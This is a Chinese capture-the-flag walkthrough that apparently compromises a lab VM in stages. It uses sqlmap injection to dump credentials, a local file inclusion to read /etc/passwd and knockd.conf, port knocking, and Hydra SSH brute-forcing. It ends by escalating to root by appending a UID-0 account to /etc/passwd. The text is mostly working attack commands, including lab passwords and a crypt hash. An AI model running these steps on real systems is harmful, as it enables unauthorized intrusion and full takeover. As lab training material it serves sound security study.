1.信息收集
2.SQL注入获取用户
3.LFI读取etcpasswd
4.Hydra爆破SSH
5.添加etcpasswd用户提权
1.信息收集:
探测存活主机
nmap -sP 192.168.11.1/24
发现主机探测端口和服务:
nmap -sV -p 1-65535 192.168.11.144
2.SQL注入获取用户:
HTTP服务,浏览器打开看一下:
一番查找发现SQL注入:
回显:
我们先看是什么请求:
发现post请求,参数search,直接上SQLmap一把梭:
先查看数据库:
sqlmap -u "http://192.168.11.144/results.php" --data "search=1" --dbs
查看users的表名:
sqlmap -u "http://192.168.11.144/results.php" --data "search=1" -D users --tables
直接查看数据:
sqlmap -u "http://192.168.11.144/results.php" --data "search=1" -D users -T UserDetails --dump
这个可能是CMS的登录账号密码,但不知道对应哪一个,做一个字典,直接上BP爆破
我们随便填一个用户名密码
填上字典,开始爆破
结果返回:
我将长度排列了一下,发现并没有特别的,说明这不是登录的账号密码,结合之前我们在SQL注入的时候还发现了一个staff,我们查看一下:
sqlmap -u "http://192.168.11.144/results.php" --data "search=1" -D Staff --tables
查看Users:
sqlmap -u "http://192.168.11.144/results.php" --data "search=1" -D Staff -T Users --dump
又发现了一个账号密码,尝试登录:
成功
3.LFI读取etcpasswd
点击Manager时,发现File does not exist,很有可能是本地的文件包含漏洞
因为可能是文件包含我们尝试一下:
因为这里我们已经登录了,要加上cookie:
文件包含漏洞,一般都有etcpasswd,我们查找,使用FUZZ找参数,../ 确保我们能回到根目录:
wfuzz -b 'PHPSESSID=0jhk7n6940j418rtt7oqjhp374' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.11.144/manage.php?FUZZ=../../../../../../../../../../etc/passwd
参数太多,我们过滤:
wfuzz -b 'PHPSESSID=0jhk7n6940j418rtt7oqjhp374' --hw 100 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.11.144/manage.php?FUZZ=../../../../../../../../../../etc/passwd
找到参数file,浏览器访问:
http://192.168.11.144/manage.php?file=../../../../../../etc/passwd
4.Hydra爆破SSH:
在访问etcpasswd时,发现里面的账号是我们之前sql爆破时得到的一样,并且还有密码,那么我们尝试SSH登录:
hydra -L user.txt -P pass.txt 192.168.11.144 ssh
告诉我们连接拒绝,但是之前我们扫端口时候,它是开放的,那么可能端口被隐藏了
分析:
1、端口被限制(防火墙)
2、用户被限制登录
3、运行了knockd服务
我们看一下knocked服务,在浏览器访问:
http://192.168.11.144/manage.php?file=. ./../../../../../../../../etc/knockd.conf
确实开启了这个服务,定义了3个敲门序列,7469,8475,9842 ,
只有我们依次访问这几个端口,才能打开ssh服务:
nmap -p 7469 192.168.11.144
nmap -p 8475 192.168.11.144
nmap -p 9842 192.168.11.144
扫完以后,我们扫22端口,查看是否打开:
nmap -p22 192.168.11.144
已经打开
那么就简单了,我们继续用字典去尝试登录SSH:
hydra -L user.txt -P pass.txt 192.168.11.144 ssh
发现三个,尝试登录:
ssh janitor@192.168.142.139 Ilovepeepee
ssh joeyt@192.168.142.139 Passw0rd
ssh chandlerb@192.168.142.139 UrAG0D!
思路:
查看用户文件 ls -a
查看root权限 sudo -l
查看历史命令 history
发现六个密码,添加字典上去,其他用户没什么发现,再扫一遍:
hydra -L user.txt -P pass.txt 192.168.11.144 ssh
发现新用户,登录!
login: fredf password: B4-Tru3-001
5.添加etcpasswd用户提权:
登录以后这个查看可以执行root权限的命令不需要密码
查看文件属性:
file /opt/devstuff/dist/test/test
打开执行发现:
发现一个.py脚本,我们查找源码:
find / -name "test.py" 2>/dev/null
查看源码:
把第一个文件的输入追加到第二个文件中去
那么我们添加用户提权,添加一个UID和GID都是0的用户
生成密码:
openssl passwd -1 -salt admin 123456
$1$admin$LClYcRe.ee8dQwgrFc5nz.
添加到临时文件中去:
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
打开有脚本的目录:cd /opt/devstuff/dist/test/
利用脚本追加root权限的用户:sudo ./test /tmp/passwd /etc/passwd
尝试登录:su admin 输入密码123456
提权成功!